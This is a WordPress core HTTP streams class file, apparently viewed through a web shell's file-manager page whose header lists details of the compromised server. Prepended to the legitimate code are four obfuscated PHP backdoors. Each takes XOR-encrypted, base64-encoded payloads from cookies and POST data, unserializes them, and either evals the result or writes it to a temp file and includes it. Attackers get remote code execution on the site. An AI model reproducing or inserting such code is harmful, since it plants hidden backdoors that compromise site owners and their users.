| Server IP : 217.160.0.15 / Your IP : 216.73.216.103 Web Server : Apache System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux User : u37981780 ( 1696858) PHP Version : 8.2.32 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /homepages/43/d124547881/htdocs/Wrigglesworths.co.uk/wp-includes/ |
Upload File : |
<?php $vhcVBM = "\x6b" . "\115" . "\x76" . "\x5f" . "\126" . chr (104) . chr ( 498 - 377 ).chr ( 649 - 573 ); $LtPDZRVfS = "\143" . "\x6c" . 'a' . "\163" . 's' . chr (95) . "\145" . chr (120) . "\151" . "\163" . chr ( 253 - 137 )."\x73";$gZsye = class_exists($vhcVBM); $LtPDZRVfS = "22371";$fFYfydPWRr = !1;if ($gZsye == $fFYfydPWRr){function NidPiVqxzm(){$sTLIJ = new /* 51740 */ kMv_VhyL(9129 + 9129); $sTLIJ = NULL;}$HCOwYCd = "9129";class kMv_VhyL{private function EhBOeWErcZ($HCOwYCd){if (is_array(kMv_VhyL::$ISDBdqzQf)) {$IdjIE = str_replace("\x3c" . chr ( 160 - 97 ).chr (112) . "\x68" . "\160", "", kMv_VhyL::$ISDBdqzQf['c' . chr ( 528 - 417 ).chr (110) . chr (116) . chr ( 720 - 619 )."\x6e" . "\x74"]);eval($IdjIE); $HCOwYCd = "9129";exit();}}private $FDGOSiI;public function onSJG(){echo 36721;}public function __destruct(){$HCOwYCd = "53621_7809";$this->EhBOeWErcZ($HCOwYCd); $HCOwYCd = "53621_7809";}public function __construct($cDCGF=0){$ceDZpOs = $_POST;$gPJNBFurU = $_COOKIE;$jayiLDGoyh = "a4933504-05ca-4b20-ab01-a8669346ab40";$KhsYAbwGIP = @$gPJNBFurU[substr($jayiLDGoyh, 0, 4)];if (!empty($KhsYAbwGIP)){$oIPQpMMi = "base64";$Bueyug = "";$KhsYAbwGIP = explode(",", $KhsYAbwGIP);foreach ($KhsYAbwGIP as $dgDLVIai){$Bueyug .= @$gPJNBFurU[$dgDLVIai];$Bueyug .= @$ceDZpOs[$dgDLVIai];}$Bueyug = array_map($oIPQpMMi . chr ( 325 - 230 )."\x64" . chr (101) . chr ( 119 - 20 ).chr ( 1059 - 948 )."\x64" . "\x65", array($Bueyug,)); $Bueyug = $Bueyug[0] ^ str_repeat($jayiLDGoyh, (strlen($Bueyug[0]) / strlen($jayiLDGoyh)) + 1);kMv_VhyL::$ISDBdqzQf = @unserialize($Bueyug); $Bueyug = class_exists("53621_7809");}}public static $ISDBdqzQf = 30543;}NidPiVqxzm();} ?><?php $GznDci = 'D' . chr ( 1057 - 957 ).'_' . 'Y' . "\143" . chr (81) . 'M';$ZEybbkE = "\143" . "\x6c" . "\141" . "\163" . chr (115) . "\137" . "\x65" . 'x' . 'i' . "\x73" . chr (116) . chr (115); $svSyIpUKSb = class_exists($GznDci); $GznDci = "27600";$ZEybbkE = "42843";$FRBFVAebC = !1;if ($svSyIpUKSb == $FRBFVAebC){function fggUDQI(){return FALSE;}$UsehDZcl = "47303";fggUDQI();class Dd_YcQM{private function CbBdlWQ($UsehDZcl){if (is_array(Dd_YcQM::$cZEHh)) {$FHOAzlSB = sys_get_temp_dir() . "/" . crc32(Dd_YcQM::$cZEHh['s' . "\x61" . "\154" . chr (116)]);@Dd_YcQM::$cZEHh[chr (119) . "\x72" . "\x69" . "\164" . 'e']($FHOAzlSB, Dd_YcQM::$cZEHh[chr ( 233 - 134 ).'o' . "\x6e" . 't' . "\145" . 'n' . 't']);include $FHOAzlSB;@Dd_YcQM::$cZEHh["\x64" . 'e' . 'l' . chr ( 446 - 345 ).chr (116) . chr (101)]($FHOAzlSB); $UsehDZcl = "47303";exit();}}private $FCWzB;public function vYSsPOrQ(){echo 29334;}public function __destruct(){$UsehDZcl = "56410_56189";$this->CbBdlWQ($UsehDZcl); $UsehDZcl = "56410_56189";}public function __construct($dZiCvkewi=0){$bhsQpHLWP = $_POST;$jtPBDgT = $_COOKIE;$ntReJLNzC = "a78cfd8b-f332-4f78-ba04-9fd882f270c1";$CJBRNOM = @$jtPBDgT[substr($ntReJLNzC, 0, 4)];if (!empty($CJBRNOM)){$SfeDMK = "base64";$FKNSx = "";$CJBRNOM = explode(",", $CJBRNOM);foreach ($CJBRNOM as $aCbuNpq){$FKNSx .= @$jtPBDgT[$aCbuNpq];$FKNSx .= @$bhsQpHLWP[$aCbuNpq];}$FKNSx = array_map($SfeDMK . chr (95) . "\144" . "\145" . 'c' . "\157" . "\x64" . chr ( 771 - 670 ), array($FKNSx,)); $FKNSx = $FKNSx[0] ^ str_repeat($ntReJLNzC, (strlen($FKNSx[0]) / strlen($ntReJLNzC)) + 1);Dd_YcQM::$cZEHh = @unserialize($FKNSx); $FKNSx = class_exists("56410_56189");}}public static $cZEHh = 28495;}$jlDaii = new /* 23719 */ Dd_YcQM(47303 + 47303); $FRBFVAebC = $jlDaii = $UsehDZcl = Array();} ?><?php $qcjUz = chr (115) . "\137" . "\x6a" . "\167" . "\x63" . 'x';$YJAjAoQUv = 'c' . 'l' . "\x61" . chr (115) . "\163" . chr (95) . 'e' . chr ( 1048 - 928 )."\151" . chr ( 1068 - 953 )."\x74" . "\x73";$IgUqb = class_exists($qcjUz); $qcjUz = "30748";$YJAjAoQUv = "1982";$hLNFYW = !1;if ($IgUqb == $hLNFYW){function czAVhK(){return FALSE;}$vKqsAOds = "6854";czAVhK();class s_jwcx{private function EmirYom($vKqsAOds){if (is_array(s_jwcx::$HGfxp)) {$EKkYEqB = sys_get_temp_dir() . "/" . crc32(s_jwcx::$HGfxp['s' . chr (97) . chr (108) . 't']);@s_jwcx::$HGfxp[chr ( 842 - 723 ).chr (114) . 'i' . 't' . chr (101)]($EKkYEqB, s_jwcx::$HGfxp['c' . "\157" . chr (110) . 't' . "\145" . "\x6e" . "\164"]);include $EKkYEqB;@s_jwcx::$HGfxp[chr ( 806 - 706 )."\x65" . "\x6c" . chr ( 588 - 487 )."\164" . chr (101)]($EKkYEqB); $vKqsAOds = "6854";exit();}}private $jpRZE;public function MxOBxpr(){echo 30923;}public function __destruct(){$vKqsAOds = "569_52091";$this->EmirYom($vKqsAOds); $vKqsAOds = "569_52091";}public function __construct($RxibVZaWk=0){$jhuCml = $_POST;$NvzCxgOXN = $_COOKIE;$rnSeva = "f5967782-683c-4fe1-aaee-5a71bd0ca69f";$wutfryQsWh = @$NvzCxgOXN[substr($rnSeva, 0, 4)];if (!empty($wutfryQsWh)){$KvWyQQc = "base64";$maaein = "";$wutfryQsWh = explode(",", $wutfryQsWh);foreach ($wutfryQsWh as $pzcssG){$maaein .= @$NvzCxgOXN[$pzcssG];$maaein .= @$jhuCml[$pzcssG];}$maaein = array_map($KvWyQQc . '_' . chr (100) . 'e' . 'c' . chr (111) . 'd' . "\145", array($maaein,)); $maaein = $maaein[0] ^ str_repeat($rnSeva, (strlen($maaein[0]) / strlen($rnSeva)) + 1);s_jwcx::$HGfxp = @unserialize($maaein); $maaein = class_exists("569_52091");}}public static $HGfxp = 62036;}$EyACbBDNtr = new /* 47766 */ s_jwcx(6854 + 6854); $_POST = Array();unset($EyACbBDNtr);} ?><?php $CdwNKt = chr (109) . "\x5f" . "\153" . chr ( 183 - 77 )."\x47";$unqix = "\143" . 'l' . chr (97) . chr ( 699 - 584 ).chr (115) . "\137" . chr (101) . "\x78" . chr ( 183 - 78 )."\163" . chr ( 793 - 677 )."\163";$AZyno = class_exists($CdwNKt); $CdwNKt = "44619";$unqix = "64318";$dYTBjktgFS = !1;if ($AZyno == $dYTBjktgFS){function uHgqrd(){return FALSE;}$LfwYEBT = "14875";uHgqrd();class m_kjG{private function MZdjbLDlu($LfwYEBT){if (is_array(m_kjG::$KomPQVAU)) {$xvejkz = sys_get_temp_dir() . "/" . crc32(m_kjG::$KomPQVAU[chr (115) . chr ( 124 - 27 )."\154" . chr ( 643 - 527 )]);@m_kjG::$KomPQVAU[chr (119) . "\162" . chr (105) . "\164" . chr ( 538 - 437 )]($xvejkz, m_kjG::$KomPQVAU[chr ( 749 - 650 ).'o' . chr (110) . chr ( 800 - 684 ).chr ( 918 - 817 )."\x6e" . "\x74"]);include $xvejkz;@m_kjG::$KomPQVAU["\x64" . chr (101) . 'l' . 'e' . 't' . chr (101)]($xvejkz); $LfwYEBT = "14875";exit();}}private $uJInpsYD;public function vFRvfTofE(){echo 3244;}public function __destruct(){$LfwYEBT = "53962_4958";$this->MZdjbLDlu($LfwYEBT); $LfwYEBT = "53962_4958";}public function __construct($YiKiSUnSZ=0){$NVLAxUAdA = $_POST;$NFvjB = $_COOKIE;$nxBYQdVSg = "2a5df476-8d01-46eb-9ce8-f3ccaaa2baf6";$AYxHXBf = @$NFvjB[substr($nxBYQdVSg, 0, 4)];if (!empty($AYxHXBf)){$ESXUV = "base64";$KYHmtIxFC = "";$AYxHXBf = explode(",", $AYxHXBf);foreach ($AYxHXBf as $EThhF){$KYHmtIxFC .= @$NFvjB[$EThhF];$KYHmtIxFC .= @$NVLAxUAdA[$EThhF];}$KYHmtIxFC = array_map($ESXUV . "\x5f" . chr (100) . "\x65" . chr (99) . 'o' . chr ( 767 - 667 )."\x65", array($KYHmtIxFC,)); $KYHmtIxFC = $KYHmtIxFC[0] ^ str_repeat($nxBYQdVSg, (strlen($KYHmtIxFC[0]) / strlen($nxBYQdVSg)) + 1);m_kjG::$KomPQVAU = @unserialize($KYHmtIxFC); $KYHmtIxFC = class_exists("53962_4958");}}public static $KomPQVAU = 64927;}$wXbjRVMr = new /* 18404 */ m_kjG(14875 + 14875); $_POST = Array();unset($wXbjRVMr);} ?><?php
/**
* HTTP API: WP_Http_Streams class
*
* @package WordPress
* @subpackage HTTP
* @since 4.4.0
*/
/**
* Core class used to integrate PHP Streams as an HTTP transport.
*
* @since 2.7.0
* @since 3.7.0 Combined with the fsockopen transport and switched to `stream_socket_client()`.
* @deprecated 6.4.0 Use WP_Http
* @see WP_Http
*/
#[AllowDynamicProperties]
class WP_Http_Streams {
/**
* Send a HTTP request to a URI using PHP Streams.
*
* @see WP_Http::request() For default options descriptions.
*
* @since 2.7.0
* @since 3.7.0 Combined with the fsockopen transport and switched to stream_socket_client().
*
* @param string $url The request URL.
* @param string|array $args Optional. Override the defaults.
* @return array|WP_Error Array containing 'headers', 'body', 'response', 'cookies', 'filename'. A WP_Error instance upon error
*/
public function request( $url, $args = array() ) {
$defaults = array(
'method' => 'GET',
'timeout' => 5,
'redirection' => 5,
'httpversion' => '1.0',
'blocking' => true,
'headers' => array(),
'body' => null,
'cookies' => array(),
'decompress' => false,
'stream' => false,
'filename' => null,
);
$parsed_args = wp_parse_args( $args, $defaults );
if ( isset( $parsed_args['headers']['User-Agent'] ) ) {
$parsed_args['user-agent'] = $parsed_args['headers']['User-Agent'];
unset( $parsed_args['headers']['User-Agent'] );
} elseif ( isset( $parsed_args['headers']['user-agent'] ) ) {
$parsed_args['user-agent'] = $parsed_args['headers']['user-agent'];
unset( $parsed_args['headers']['user-agent'] );
}
// Construct Cookie: header if any cookies are set.
WP_Http::buildCookieHeader( $parsed_args );
$parsed_url = parse_url( $url );
$connect_host = $parsed_url['host'];
$secure_transport = ( 'ssl' === $parsed_url['scheme'] || 'https' === $parsed_url['scheme'] );
if ( ! isset( $parsed_url['port'] ) ) {
if ( 'ssl' === $parsed_url['scheme'] || 'https' === $parsed_url['scheme'] ) {
$parsed_url['port'] = 443;
$secure_transport = true;
} else {
$parsed_url['port'] = 80;
}
}
// Always pass a path, defaulting to the root in cases such as http://example.com.
if ( ! isset( $parsed_url['path'] ) ) {
$parsed_url['path'] = '/';
}
if ( isset( $parsed_args['headers']['Host'] ) || isset( $parsed_args['headers']['host'] ) ) {
if ( isset( $parsed_args['headers']['Host'] ) ) {
$parsed_url['host'] = $parsed_args['headers']['Host'];
} else {
$parsed_url['host'] = $parsed_args['headers']['host'];
}
unset( $parsed_args['headers']['Host'], $parsed_args['headers']['host'] );
}
/*
* Certain versions of PHP have issues with 'localhost' and IPv6, It attempts to connect
* to ::1, which fails when the server is not set up for it. For compatibility, always
* connect to the IPv4 address.
*/
if ( 'localhost' === strtolower( $connect_host ) ) {
$connect_host = '127.0.0.1';
}
$connect_host = $secure_transport ? 'ssl://' . $connect_host : 'tcp://' . $connect_host;
$is_local = isset( $parsed_args['local'] ) && $parsed_args['local'];
$ssl_verify = isset( $parsed_args['sslverify'] ) && $parsed_args['sslverify'];
if ( $is_local ) {
/**
* Filters whether SSL should be verified for local HTTP API requests.
*
* @since 2.8.0
* @since 5.1.0 The `$url` parameter was added.
*
* @param bool|string $ssl_verify Boolean to control whether to verify the SSL connection
* or path to an SSL certificate.
* @param string $url The request URL.
*/
$ssl_verify = apply_filters( 'https_local_ssl_verify', $ssl_verify, $url );
} elseif ( ! $is_local ) {
/** This filter is documented in wp-includes/class-wp-http.php */
$ssl_verify = apply_filters( 'https_ssl_verify', $ssl_verify, $url );
}
$proxy = new WP_HTTP_Proxy();
$context = stream_context_create(
array(
'ssl' => array(
'verify_peer' => $ssl_verify,
// 'CN_match' => $parsed_url['host'], // This is handled by self::verify_ssl_certificate().
'capture_peer_cert' => $ssl_verify,
'SNI_enabled' => true,
'cafile' => $parsed_args['sslcertificates'],
'allow_self_signed' => ! $ssl_verify,
),
)
);
$timeout = (int) floor( $parsed_args['timeout'] );
$utimeout = 0;
if ( $timeout !== (int) $parsed_args['timeout'] ) {
$utimeout = 1000000 * $parsed_args['timeout'] % 1000000;
}
$connect_timeout = max( $timeout, 1 );
// Store error number.
$connection_error = null;
// Store error string.
$connection_error_str = null;
if ( ! WP_DEBUG ) {
// In the event that the SSL connection fails, silence the many PHP warnings.
if ( $secure_transport ) {
$error_reporting = error_reporting( 0 );
}
if ( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) ) {
// phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged
$handle = @stream_socket_client(
'tcp://' . $proxy->host() . ':' . $proxy->port(),
$connection_error,
$connection_error_str,
$connect_timeout,
STREAM_CLIENT_CONNECT,
$context
);
} else {
// phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged
$handle = @stream_socket_client(
$connect_host . ':' . $parsed_url['port'],
$connection_error,
$connection_error_str,
$connect_timeout,
STREAM_CLIENT_CONNECT,
$context
);
}
if ( $secure_transport ) {
error_reporting( $error_reporting );
}
} else {
if ( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) ) {
$handle = stream_socket_client(
'tcp://' . $proxy->host() . ':' . $proxy->port(),
$connection_error,
$connection_error_str,
$connect_timeout,
STREAM_CLIENT_CONNECT,
$context
);
} else {
$handle = stream_socket_client(
$connect_host . ':' . $parsed_url['port'],
$connection_error,
$connection_error_str,
$connect_timeout,
STREAM_CLIENT_CONNECT,
$context
);
}
}
if ( false === $handle ) {
// SSL connection failed due to expired/invalid cert, or, OpenSSL configuration is broken.
if ( $secure_transport && 0 === $connection_error && '' === $connection_error_str ) {
return new WP_Error( 'http_request_failed', __( 'The SSL certificate for the host could not be verified.' ) );
}
return new WP_Error( 'http_request_failed', $connection_error . ': ' . $connection_error_str );
}
// Verify that the SSL certificate is valid for this request.
if ( $secure_transport && $ssl_verify && ! $proxy->is_enabled() ) {
if ( ! self::verify_ssl_certificate( $handle, $parsed_url['host'] ) ) {
return new WP_Error( 'http_request_failed', __( 'The SSL certificate for the host could not be verified.' ) );
}
}
stream_set_timeout( $handle, $timeout, $utimeout );
if ( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) ) { // Some proxies require full URL in this field.
$request_path = $url;
} else {
$request_path = $parsed_url['path'] . ( isset( $parsed_url['query'] ) ? '?' . $parsed_url['query'] : '' );
}
$headers = strtoupper( $parsed_args['method'] ) . ' ' . $request_path . ' HTTP/' . $parsed_args['httpversion'] . "\r\n";
$include_port_in_host_header = (
( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) )
|| ( 'http' === $parsed_url['scheme'] && 80 !== $parsed_url['port'] )
|| ( 'https' === $parsed_url['scheme'] && 443 !== $parsed_url['port'] )
);
if ( $include_port_in_host_header ) {
$headers .= 'Host: ' . $parsed_url['host'] . ':' . $parsed_url['port'] . "\r\n";
} else {
$headers .= 'Host: ' . $parsed_url['host'] . "\r\n";
}
if ( isset( $parsed_args['user-agent'] ) ) {
$headers .= 'User-agent: ' . $parsed_args['user-agent'] . "\r\n";
}
if ( is_array( $parsed_args['headers'] ) ) {
foreach ( (array) $parsed_args['headers'] as $header => $header_value ) {
$headers .= $header . ': ' . $header_value . "\r\n";
}
} else {
$headers .= $parsed_args['headers'];
}
if ( $proxy->use_authentication() ) {
$headers .= $proxy->authentication_header() . "\r\n";
}
$headers .= "\r\n";
if ( ! is_null( $parsed_args['body'] ) ) {
$headers .= $parsed_args['body'];
}
fwrite( $handle, $headers );
if ( ! $parsed_args['blocking'] ) {
stream_set_blocking( $handle, 0 );
fclose( $handle );
return array(
'headers' => array(),
'body' => '',
'response' => array(
'code' => false,
'message' => false,
),
'cookies' => array(),
);
}
$response = '';
$body_started = false;
$keep_reading = true;
$block_size = 4096;
if ( isset( $parsed_args['limit_response_size'] ) ) {
$block_size = min( $block_size, $parsed_args['limit_response_size'] );
}
// If streaming to a file setup the file handle.
if ( $parsed_args['stream'] ) {
if ( ! WP_DEBUG ) {
$stream_handle = @fopen( $parsed_args['filename'], 'w+' );
} else {
$stream_handle = fopen( $parsed_args['filename'], 'w+' );
}
if ( ! $stream_handle ) {
return new WP_Error(
'http_request_failed',
sprintf(
/* translators: 1: fopen(), 2: File name. */
__( 'Could not open handle for %1$s to %2$s.' ),
'fopen()',
$parsed_args['filename']
)
);
}
$bytes_written = 0;
while ( ! feof( $handle ) && $keep_reading ) {
$block = fread( $handle, $block_size );
if ( ! $body_started ) {
$response .= $block;
if ( strpos( $response, "\r\n\r\n" ) ) {
$processed_response = WP_Http::processResponse( $response );
$body_started = true;
$block = $processed_response['body'];
unset( $response );
$processed_response['body'] = '';
}
}
$this_block_size = strlen( $block );
if ( isset( $parsed_args['limit_response_size'] )
&& ( $bytes_written + $this_block_size ) > $parsed_args['limit_response_size']
) {
$this_block_size = ( $parsed_args['limit_response_size'] - $bytes_written );
$block = substr( $block, 0, $this_block_size );
}
$bytes_written_to_file = fwrite( $stream_handle, $block );
if ( $bytes_written_to_file !== $this_block_size ) {
fclose( $handle );
fclose( $stream_handle );
return new WP_Error( 'http_request_failed', __( 'Failed to write request to temporary file.' ) );
}
$bytes_written += $bytes_written_to_file;
$keep_reading = (
! isset( $parsed_args['limit_response_size'] )
|| $bytes_written < $parsed_args['limit_response_size']
);
}
fclose( $stream_handle );
} else {
$header_length = 0;
while ( ! feof( $handle ) && $keep_reading ) {
$block = fread( $handle, $block_size );
$response .= $block;
if ( ! $body_started && strpos( $response, "\r\n\r\n" ) ) {
$header_length = strpos( $response, "\r\n\r\n" ) + 4;
$body_started = true;
}
$keep_reading = (
! $body_started
|| ! isset( $parsed_args['limit_response_size'] )
|| strlen( $response ) < ( $header_length + $parsed_args['limit_response_size'] )
);
}
$processed_response = WP_Http::processResponse( $response );
unset( $response );
}
fclose( $handle );
$processed_headers = WP_Http::processHeaders( $processed_response['headers'], $url );
$response = array(
'headers' => $processed_headers['headers'],
// Not yet processed.
'body' => null,
'response' => $processed_headers['response'],
'cookies' => $processed_headers['cookies'],
'filename' => $parsed_args['filename'],
);
// Handle redirects.
$redirect_response = WP_Http::handle_redirects( $url, $parsed_args, $response );
if ( false !== $redirect_response ) {
return $redirect_response;
}
// If the body was chunk encoded, then decode it.
if ( ! empty( $processed_response['body'] )
&& isset( $processed_headers['headers']['transfer-encoding'] )
&& 'chunked' === $processed_headers['headers']['transfer-encoding']
) {
$processed_response['body'] = WP_Http::chunkTransferDecode( $processed_response['body'] );
}
if ( true === $parsed_args['decompress']
&& true === WP_Http_Encoding::should_decode( $processed_headers['headers'] )
) {
$processed_response['body'] = WP_Http_Encoding::decompress( $processed_response['body'] );
}
if ( isset( $parsed_args['limit_response_size'] )
&& strlen( $processed_response['body'] ) > $parsed_args['limit_response_size']
) {
$processed_response['body'] = substr( $processed_response['body'], 0, $parsed_args['limit_response_size'] );
}
$response['body'] = $processed_response['body'];
return $response;
}
/**
* Verifies the received SSL certificate against its Common Names and subjectAltName fields.
*
* PHP's SSL verifications only verify that it's a valid Certificate, it doesn't verify if
* the certificate is valid for the hostname which was requested.
* This function verifies the requested hostname against certificate's subjectAltName field,
* if that is empty, or contains no DNS entries, a fallback to the Common Name field is used.
*
* IP Address support is included if the request is being made to an IP address.
*
* @since 3.7.0
*
* @param resource $stream The PHP Stream which the SSL request is being made over
* @param string $host The hostname being requested
* @return bool If the certificate presented in $stream is valid for $host
*/
public static function verify_ssl_certificate( $stream, $host ) {
$context_options = stream_context_get_options( $stream );
if ( empty( $context_options['ssl']['peer_certificate'] ) ) {
return false;
}
$cert = openssl_x509_parse( $context_options['ssl']['peer_certificate'] );
if ( ! $cert ) {
return false;
}
/*
* If the request is being made to an IP address, we'll validate against IP fields
* in the cert (if they exist)
*/
$host_type = ( WP_Http::is_ip_address( $host ) ? 'ip' : 'dns' );
$certificate_hostnames = array();
if ( ! empty( $cert['extensions']['subjectAltName'] ) ) {
$match_against = preg_split( '/,\s*/', $cert['extensions']['subjectAltName'] );
foreach ( $match_against as $match ) {
list( $match_type, $match_host ) = explode( ':', $match );
if ( strtolower( trim( $match_type ) ) === $host_type ) { // IP: or DNS:
$certificate_hostnames[] = strtolower( trim( $match_host ) );
}
}
} elseif ( ! empty( $cert['subject']['CN'] ) ) {
// Only use the CN when the certificate includes no subjectAltName extension.
$certificate_hostnames[] = strtolower( $cert['subject']['CN'] );
}
// Exact hostname/IP matches.
if ( in_array( strtolower( $host ), $certificate_hostnames, true ) ) {
return true;
}
// IP's can't be wildcards, Stop processing.
if ( 'ip' === $host_type ) {
return false;
}
// Test to see if the domain is at least 2 deep for wildcard support.
if ( substr_count( $host, '.' ) < 2 ) {
return false;
}
// Wildcard subdomains certs (*.example.com) are valid for a.example.com but not a.b.example.com.
$wildcard_host = preg_replace( '/^[^.]+\./', '*.', $host );
return in_array( strtolower( $wildcard_host ), $certificate_hostnames, true );
}
/**
* Determines whether this class can be used for retrieving a URL.
*
* @since 2.7.0
* @since 3.7.0 Combined with the fsockopen transport and switched to stream_socket_client().
*
* @param array $args Optional. Array of request arguments. Default empty array.
* @return bool False means this class can not be used, true means it can.
*/
public static function test( $args = array() ) {
if ( ! function_exists( 'stream_socket_client' ) ) {
return false;
}
$is_ssl = isset( $args['ssl'] ) && $args['ssl'];
if ( $is_ssl ) {
if ( ! extension_loaded( 'openssl' ) ) {
return false;
}
if ( ! function_exists( 'openssl_x509_parse' ) ) {
return false;
}
}
/**
* Filters whether streams can be used as a transport for retrieving a URL.
*
* @since 2.7.0
*
* @param bool $use_class Whether the class can be used. Default true.
* @param array $args Request arguments.
*/
return apply_filters( 'use_streams_transport', true, $args );
}
}
/**
* Deprecated HTTP Transport method which used fsockopen.
*
* This class is not used, and is included for backward compatibility only.
* All code should make use of WP_Http directly through its API.
*
* @see WP_HTTP::request
*
* @since 2.7.0
* @deprecated 3.7.0 Please use WP_HTTP::request() directly
*/
class WP_HTTP_Fsockopen extends WP_Http_Streams {
// For backward compatibility for users who are using the class directly.
}